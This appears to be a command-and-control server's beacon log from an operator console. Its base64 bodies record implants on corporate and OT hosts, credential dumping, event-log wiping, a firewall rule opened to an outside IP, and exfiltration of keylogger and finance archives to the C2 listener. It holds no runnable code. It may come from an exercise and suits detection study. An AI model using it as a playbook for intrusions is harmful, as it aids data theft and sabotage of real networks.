OPERATIONS / TRAFFIC
HTTP beacon log
Raw requests captured by the HTTPS listener. Gate bodies are base64-encoded; decode them inline to inspect task results and upload manifests.
LISTENER tls/44322 ENTRIES
Listener traffic
c2.pphreak1001.tech · retention 90d| Time (UTC) | Session | Source IP | Method | Path | Size | Body (b64) | Note |
|---|---|---|---|---|---|---|---|
| 2026-11-01 03:12:44Z | GLN-7C2F | 10.20.14.23 | GET | /k/beat?id=GLN-7C2F | — | aGIgMDM6MTIgb2sgc2xwPTMw | — |
| 2026-11-01 03:10:57Z | HMI-2F08 | 10.44.7.12 | GET | /k/beat?id=HMI-2F08 | — | aGIgMDM6MTAgb2sgc2xwPTQw | — |
| 2026-11-01 02:55:31Z | DC0-4A11 | 10.20.1.5 | GET | /k/beat?id=DC0-4A11 | — | aGIgMDI6NTUgb2sgc2xwPTYw | — |
| 2026-11-01 01:30:22Z | FS2-77BD | 10.20.1.21 | GET | /t/poll?id=FS2-77BD | — | VEFTS1EgRU1QVFk= | — |
| 2026-10-31 23:01:19Z | GLN-7C2F | 10.20.14.23 | GET | /x/dl?c=pp | 675.0 KB | dG9vbCBwdWxsIG9r | credential dump tool pulled |
| 2026-10-31 22:45:03Z | HMI-2F08 | 10.44.7.12 | POST | /r/post?id=HMI-2F08 | 190 B | ZXZ0bG9ncyB3aXBlZCBobWkwMiAzIGxvZ3M= | — |
| 2026-10-31 00:12:40Z | GW1-55C9 | 10.44.7.3 | POST | /r/post?id=GW1-55C9 | 288 B | ZncgcnVsZSBhZGRlZCAxODUuMjEyLjE0OS44NyBhbnktYW55 | — |
| 2026-10-30 23:47:08Z | GW1-55C9 | 10.44.7.3 | POST | /r/reg | 452 B | UkVHIG9rIGxpbnV4IDEwLjQ0LjcuMyBHVzEtNTVDOSB1c2VyPXJvb3Q= | OT gateway rooted |
| 2026-10-28 14:10:12Z | GLN-7C2F | 10.20.14.23 | GET | /t/poll?id=GLN-7C2F | — | cG9sbCBvayAyIHRhc2tz | — |
| 2026-10-28 14:07:33Z | GLN-7C2F | 10.20.14.23 | POST | /gate?id=GLN-7C2F | 68 B | ZXhmaWwgY29tcGxldGUgMzEvMzEgY2h1bmtzIGtleWxvZ2dlciBhcmNoaXZl | gate POST - exfil completion report (see T-0025) |
| 2026-10-28 14:05:18Z | GLN-7C2F | 10.20.14.23 | POST | /r/post?id=GLN-7C2F | 4.1 KB | a2wuZGF0IDQuMUtCIHB1bGxlZCBjaHVuazIy | — |
| 2026-10-28 13:52:19Z | HMI-2F08 | 10.44.7.12 | POST | /r/reg | 468 B | UkVHIG9rIHdpbjEwbHRzYyAxMC40NC43LjEyIEhNSS0yRjA4IHVzZXI9aGVsaXgtb3RcaG1pX29wZXJhdG9y | first OT segment implant |
| 2026-10-25 21:02:10Z | FS2-77BD | 10.20.1.21 | POST | /x/up?f=fin.rar.p2 | 256.0 MB | dXAyIGZpbi5yYXIucDIgMjY4NDM1NDU2IG9r | chunk 2/2 - total 2.25GB |
| 2026-10-25 20:31:44Z | FS2-77BD | 10.20.1.21 | POST | /x/up?f=fin.rar.p1 | 2.00 GB | dXAxIGZpbi5yYXIucDEgMjE0NzQ4MzY0OCBvaw== | finance archive chunk 1/2 |
| 2026-10-24 02:20:02Z | DC0-4A11 | 10.20.1.5 | POST | /r/post?id=DC0-4A11 | 2.8 KB | bWltaWthdHogb2sgLSAxNCBjcmVkIHNldHM= | — |
| 2026-10-19 17:23:05Z | WS4-91E3 | 10.20.14.114 | POST | /r/reg | 471 B | UkVHIG9rIHdpbjEwIDEwLjIwLjE0LjExNCBXUzQtOTFFMyB1c2VyPWhlbGl4XHIub2thZm9y | lateral implant via PTHash |
| 2026-10-12 10:02:31Z | GLN-7C2F | 10.20.14.23 | POST | /r/post?id=GLN-7C2F | 512 B | bmV0dmlldyBkb25lIDQgaG9zdHM= | — |
| 2026-10-12 09:47:52Z | GLN-7C2F | 10.20.14.23 | GET | /x/s2.bin | 117.0 KB | czIgc2hhMjU2IG9rIGE5MWY3N2Mw | stage-2 pull |
| 2026-10-12 09:47:41Z | GLN-7C2F | 10.20.14.23 | POST | /gate?id=GLN-7C2F | 92 B | c3RhZ2UyIGNoZWNraW4gb2sgaG9zdD1HTEVOLUxUMDEgcGlkPTQxODggdGFza3E9MA== | gate POST - stage-2 check-in (see T-0003) |
| 2026-10-12 09:45:47Z | GLN-7C2F | 10.20.14.23 | GET | /t/poll?id=GLN-7C2F | — | VEFTS1EgRU1QVFk= | — |
| 2026-10-12 09:44:12Z | GLN-7C2F | 10.20.14.23 | POST | /r/reg | 486 B | UkVHIG9rIHdpbjExIDEwLjIwLjE0LjIzIEdMTi03QzJGIHVzZXI9aGVsaXhcZ2xlbi5tYXJzZGVu | new implant registered |
| 2026-10-12 09:41:22Z | — | 10.20.14.23 | GET | /x/dl?c=doc | 40.2 KB | — | macro stage-0 fetch (doc callback) |
gate bodies: base64 · user-agent ppk/3.2.1 · task polling /t/poll · keepalive /k/beat